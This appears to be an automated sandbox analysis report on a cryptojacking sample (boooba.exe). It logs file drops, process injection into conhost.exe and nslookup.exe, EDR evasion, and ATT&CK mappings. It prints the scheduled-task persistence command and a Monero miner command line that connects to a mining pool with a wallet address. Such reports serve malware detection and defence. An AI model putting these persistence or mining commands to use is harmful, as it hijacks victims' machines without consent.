Source: C:\Windows\System32\conhost.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Libs\WR64.sys	Jump to dropped file
Source: C:\Windows\System32\conhost.exe	File created: C:\Users\user\IOAshdohSha.exe	Jump to dropped file
Source: C:\Windows\System32\conhost.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Libs\sihost64.exe	Jump to dropped file

Source: C:\Windows\System32\conhost.exe

File created: C:\Users\user\IOAshdohSha.exe

Jump to dropped file

Boot Survival

Drops PE files to the user root directory

Source: C:\Windows\System32\conhost.exe

File created: C:\Users\user\IOAshdohSha.exe

Jump to dropped file

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\schtasks.exe schtasks /create /f /sc onlogon /rl highest /tn "IOAshdohSha" /tr "C:\Users\user\IOAshdohSha.exe"

Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\nslookup.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\nslookup.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Windows\System32\nslookup.exe	System information queried: FirmwareTableInformation			Jump to behavior
Source: C:\Windows\System32\nslookup.exe	System information queried: FirmwareTableInformation			Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: nslookup.exe, 0000000D.00000002.2902391217.0000019A4A588000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: PROCESSHACKER.EXE
Source: conhost.exe, 00000009.00000003.1778364513.0000013CBC45D000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000009.00000003.1782171158.0000013CBC451000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000009.00000003.1780152081.0000013CBC45C000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000009.00000003.1780613340.0000013CBC456000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000009.00000003.1786769697.0000013CBC455000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000009.00000003.1771637621.0000013CBC45A000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000009.00000003.1777881414.0000013CBC454000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000009.00000003.1776373079.0000013CBC45E000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000009.00000003.1776847391.0000013CBC452000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000009.00000003.1782890833.0000013CBC45F000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000009.00000003.1770961178.0000013CBC453000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [0M%S STOPPING IDLE, SETTING MAX CPU TO: %D%S STARTING IDLE, SETTING MAX CPU TO: %DTASKMGR.EXE,PROCESSHACKER.EXE,PERFMON.EXE,PROCEXP.EXE,PROCEXP64.EXE%S
Source: conhost.exe, 00000009.00000003.1778364513.0000013CBC45D000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000009.00000003.1782171158.0000013CBC451000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000009.00000003.1780152081.0000013CBC45C000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000009.00000003.1780613340.0000013CBC456000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000009.00000003.1786769697.0000013CBC455000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000009.00000003.1771637621.0000013CBC45A000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000009.00000003.1777881414.0000013CBC454000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000009.00000003.1776373079.0000013CBC45E000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000009.00000003.1776847391.0000013CBC452000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000009.00000003.1782890833.0000013CBC45F000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000009.00000003.1770961178.0000013CBC453000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: TASKMGR.EXE,PROCESSHACKER.EXE,PERFMON.EXE,PROCEXP.EXE,PROCEXP64.EXE

Source: C:\Windows\System32\conhost.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\conhost.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\Microsoft\Libs\WR64.sys

Jump to dropped file

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Windows\System32\conhost.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\boooba.exe	Memory allocated: C:\Windows\System32\conhost.exe base: 15759250000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\IOAshdohSha.exe	Memory allocated: C:\Windows\System32\conhost.exe base: 13CA14E0000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\IOAshdohSha.exe	Memory allocated: C:\Windows\System32\conhost.exe base: 1E311770000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Libs\sihost64.exe	Memory allocated: C:\Windows\System32\conhost.exe base: 29965300000 protect: page execute and read and write	Jump to behavior

Creates a thread in another existing process (thread injection)

Source: C:\Users\user\Desktop\boooba.exe	Thread created: C:\Windows\System32\conhost.exe EIP: 59250000	Jump to behavior
Source: C:\Users\user\IOAshdohSha.exe	Thread created: C:\Windows\System32\conhost.exe EIP: A14E0000	Jump to behavior
Source: C:\Users\user\IOAshdohSha.exe	Thread created: C:\Windows\System32\conhost.exe EIP: 11770000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Libs\sihost64.exe	Thread created: C:\Windows\System32\conhost.exe EIP: 65300000	Jump to behavior

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Users\user\AppData\Roaming\Microsoft\Libs\sihost64.exe	NtCreateThreadEx: Direct from: 0x401A17	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Libs\sihost64.exe	NtWriteVirtualMemory: Direct from: 0x401D57	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Libs\sihost64.exe	NtProtectVirtualMemory: Direct from: 0x401DD7	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Libs\sihost64.exe	NtClose: Direct from: 0x401CD7
Source: C:\Users\user\AppData\Roaming\Microsoft\Libs\sihost64.exe	NtAllocateVirtualMemory: Direct from: 0x401D97	Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Windows\System32\conhost.exe	Memory written: C:\Windows\System32\nslookup.exe base: 140000000 value starts with: 4D5A			Jump to behavior
Source: C:\Windows\System32\conhost.exe	Memory written: C:\Windows\System32\nslookup.exe base: 140000000 value starts with: 4D5A			Jump to behavior

Modifies the context of a thread in another process (thread injection)

Source: C:\Windows\System32\conhost.exe	Thread register set: target process: 6288			Jump to behavior
Source: C:\Windows\System32\conhost.exe	Thread register set: target process: 5480			Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\Desktop\boooba.exe	Memory written: C:\Windows\System32\conhost.exe base: 15759250000	Jump to behavior
Source: C:\Users\user\IOAshdohSha.exe	Memory written: C:\Windows\System32\conhost.exe base: 13CA14E0000	Jump to behavior
Source: C:\Users\user\IOAshdohSha.exe	Memory written: C:\Windows\System32\conhost.exe base: 1E311770000	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Memory written: C:\Windows\System32\nslookup.exe base: 140000000	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Memory written: C:\Windows\System32\nslookup.exe base: 140001000	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Memory written: C:\Windows\System32\nslookup.exe base: 140367000	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Memory written: C:\Windows\System32\nslookup.exe base: 1404A0000	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Memory written: C:\Windows\System32\nslookup.exe base: 140753000	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Memory written: C:\Windows\System32\nslookup.exe base: 140775000	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Memory written: C:\Windows\System32\nslookup.exe base: 140776000	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Memory written: C:\Windows\System32\nslookup.exe base: 140777000	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Memory written: C:\Windows\System32\nslookup.exe base: 140779000	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Memory written: C:\Windows\System32\nslookup.exe base: 14077B000	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Memory written: C:\Windows\System32\nslookup.exe base: 14077C000	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Memory written: C:\Windows\System32\nslookup.exe base: 14077D000	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Memory written: C:\Windows\System32\nslookup.exe base: 59CFC77010	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Libs\sihost64.exe	Memory written: C:\Windows\System32\conhost.exe base: 29965300000	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Memory written: C:\Windows\System32\nslookup.exe base: 140000000	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Memory written: C:\Windows\System32\nslookup.exe base: 140001000	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Memory written: C:\Windows\System32\nslookup.exe base: 140367000	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Memory written: C:\Windows\System32\nslookup.exe base: 1404A0000	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Memory written: C:\Windows\System32\nslookup.exe base: 140753000	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Memory written: C:\Windows\System32\nslookup.exe base: 140775000	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Memory written: C:\Windows\System32\nslookup.exe base: 140776000	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Memory written: C:\Windows\System32\nslookup.exe base: 140777000	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Memory written: C:\Windows\System32\nslookup.exe base: 140779000	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Memory written: C:\Windows\System32\nslookup.exe base: 14077B000	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Memory written: C:\Windows\System32\nslookup.exe base: 14077C000	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Memory written: C:\Windows\System32\nslookup.exe base: 14077D000	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Memory written: C:\Windows\System32\nslookup.exe base: 26087A5010	Jump to behavior

Source: C:\Users\user\Desktop\boooba.exe	Process created: C:\Windows\System32\conhost.exe "C:\Windows\System32\conhost.exe" "C:\Users\user\Desktop\boooba.exe"	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\cmd.exe "cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "IOAshdohSha" /tr "C:\Users\user\IOAshdohSha.exe"	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\cmd.exe "cmd" cmd /c "C:\Users\user\IOAshdohSha.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /create /f /sc onlogon /rl highest /tn "IOAshdohSha" /tr "C:\Users\user\IOAshdohSha.exe"	Jump to behavior
Source: C:\Users\user\IOAshdohSha.exe	Process created: C:\Windows\System32\conhost.exe "C:\Windows\System32\conhost.exe" "C:\Users\user\IOAshdohSha.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\IOAshdohSha.exe C:\Users\user\IOAshdohSha.exe	Jump to behavior
Source: C:\Users\user\IOAshdohSha.exe	Process created: C:\Windows\System32\conhost.exe "C:\Windows\System32\conhost.exe" "C:\Users\user\IOAshdohSha.exe"	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process created: C:\Users\user\AppData\Roaming\Microsoft\Libs\sihost64.exe "C:\Users\user\AppData\Roaming\Microsoft\Libs\sihost64.exe"	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\nslookup.exe C:\Windows/System32\nslookup.exe --cinit-find-x -B --algo="rx/0" --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-eu1.nanopool.org:10300 --user=45dXYsg6JEFipo688i2DkJFNBPbGZCjXpMYLRn8TRMpsYQH37gdzKMeHPjXrvfXAbZF32ifsRRLqEKoA1zsiskRJNyJydQG --pass= --cpu-max-threads-hint=100	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Libs\sihost64.exe	Process created: C:\Windows\System32\conhost.exe "C:\Windows\System32\conhost.exe" "/sihost64"	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\nslookup.exe C:\Windows/System32\nslookup.exe --cinit-find-x -B --algo="rx/0" --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-eu1.nanopool.org:10300 --user=45dXYsg6JEFipo688i2DkJFNBPbGZCjXpMYLRn8TRMpsYQH37gdzKMeHPjXrvfXAbZF32ifsRRLqEKoA1zsiskRJNyJydQG --pass= --cpu-max-threads-hint=100	Jump to behavior

Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\nslookup.exe c:\windows/system32\nslookup.exe --cinit-find-x -b --algo="rx/0" --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-eu1.nanopool.org:10300 --user=45dxysg6jefipo688i2dkjfnbpbgzcjxpmylrn8trmpsyqh37gdzkmehpjxrvfxabzf32ifsrrlqekoa1zsiskrjnyjydqg --pass= --cpu-max-threads-hint=100
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\nslookup.exe c:\windows/system32\nslookup.exe --cinit-find-x -b --algo="rx/0" --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-eu1.nanopool.org:10300 --user=45dxysg6jefipo688i2dkjfnbpbgzcjxpmylrn8trmpsyqh37gdzkmehpjxrvfxabzf32ifsrrlqekoa1zsiskrjnyjydqg --pass= --cpu-max-threads-hint=100
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\nslookup.exe c:\windows/system32\nslookup.exe --cinit-find-x -b --algo="rx/0" --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-eu1.nanopool.org:10300 --user=45dxysg6jefipo688i2dkjfnbpbgzcjxpmylrn8trmpsyqh37gdzkmehpjxrvfxabzf32ifsrrlqekoa1zsiskrjnyjydqg --pass= --cpu-max-threads-hint=100	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\nslookup.exe c:\windows/system32\nslookup.exe --cinit-find-x -b --algo="rx/0" --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-eu1.nanopool.org:10300 --user=45dxysg6jefipo688i2dkjfnbpbgzcjxpmylrn8trmpsyqh37gdzkmehpjxrvfxabzf32ifsrrlqekoa1zsiskrjnyjydqg --pass= --cpu-max-threads-hint=100	Jump to behavior

Source: C:\Windows\System32\conhost.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.dll VolumeInformation	Jump to behavior

Source: C:\Windows\System32\nslookup.exe

Code function: 12_2_000000014031010C GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

12_2_000000014031010C

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 Windows Service	1 Windows Service	111 Masquerading	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	12 Command and Scripting Interpreter	1 Scheduled Task/Job	511 Process Injection	111 Virtualization/Sandbox Evasion	LSASS Memory	3 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
